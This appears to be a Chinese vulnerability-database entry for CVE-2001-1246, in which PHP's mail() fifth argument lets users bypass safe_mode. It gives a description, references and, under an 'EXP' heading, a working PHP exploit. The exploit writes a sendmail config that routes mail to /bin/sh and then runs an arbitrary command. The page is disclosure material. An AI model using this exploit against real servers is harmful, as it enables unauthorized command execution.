PHP mail函数绕过safe_mode限制执行命令漏洞

PHP mail函数绕过safe_mode限制执行命令漏洞

漏洞ID 1106417 漏洞类型 设计错误
发布时间 2001-06-30 更新时间 2005-05-02
图片[1]-PHP mail函数绕过safe_mode限制执行命令漏洞-安全小百科CVE编号 CVE-2001-1246
图片[2]-PHP mail函数绕过safe_mode限制执行命令漏洞-安全小百科CNNVD-ID CNNVD-200106-211
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/20985
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-211
|漏洞详情
PHP是一种流行的WEB服务器端编程语言,它功能强大,简单易用,在很多Unix操作系统默认都安装了PHP,它也可以在Windows系统下运行。PHP函数mail的第五个参数存在漏洞,远程攻击者可能利用此漏洞结构CGI脚本中的漏洞绕过PHP的safe_mode的限制执行系统命令。从PHP-4.0.5开始,mail函数引入了第五个参数。去年被发现该参数没有很好过滤shell字符使得可以绕过safe_mode的限制执行系统命令。(http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=1593)该漏洞在PHP-4.0.6被修复。然而,PHP的mail函数仍然存在漏洞。mail函数的第五个参数可以在发送mail的时候给MTA(php.ini的sendmail_path设定,默认都是sendmail)传递额外的选项参数,sendmail的-Cfile选项能够改变配置文件,利用sendmail的特性,我们可以在配置文件里指定执行命令,从而使得PHP的mail函数绕过safe_mode的限制来执行任意系统命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/2954/info

PHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.

A problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.

This makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.

It has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode. 

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>
|参考资料

来源:XF
名称:php-safemode-elevate-privileges(6787)
链接:http://www.iss.net/security_center/static/6787.php
来源:www.php.net
链接:http://www.php.net/do_download.php?download_file=php-4.1.2.tar.gz
来源:BID
名称:2954
链接:http://www.securityfocus.com/bid/2954
来源:REDHAT
名称:RHSA-2003:159
链接:http://www.redhat.com/support/errata/RHSA-2003-159.html
来源:REDHAT
名称:RHSA-2002:129
链接:http://www.redhat.com/support/errata/RHSA-2002-129.html
来源:REDHAT
名称:RHSA-2002:102
链接:http://www.redhat.com/support/errata/RHSA-2002-102.html
来源:BUGTRAQ
名称:20010630phpbreakssafemode
链接:http://online.securityfocus.com/archive/1/194425

相关推荐: KDE kscd SHELL Environmental Variable Vulnerability

KDE kscd SHELL Environmental Variable Vulnerability 漏洞ID 1104222 漏洞类型 Environment Error 发布时间 2000-05-16 更新时间 2000-05-16 CVE编号 N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享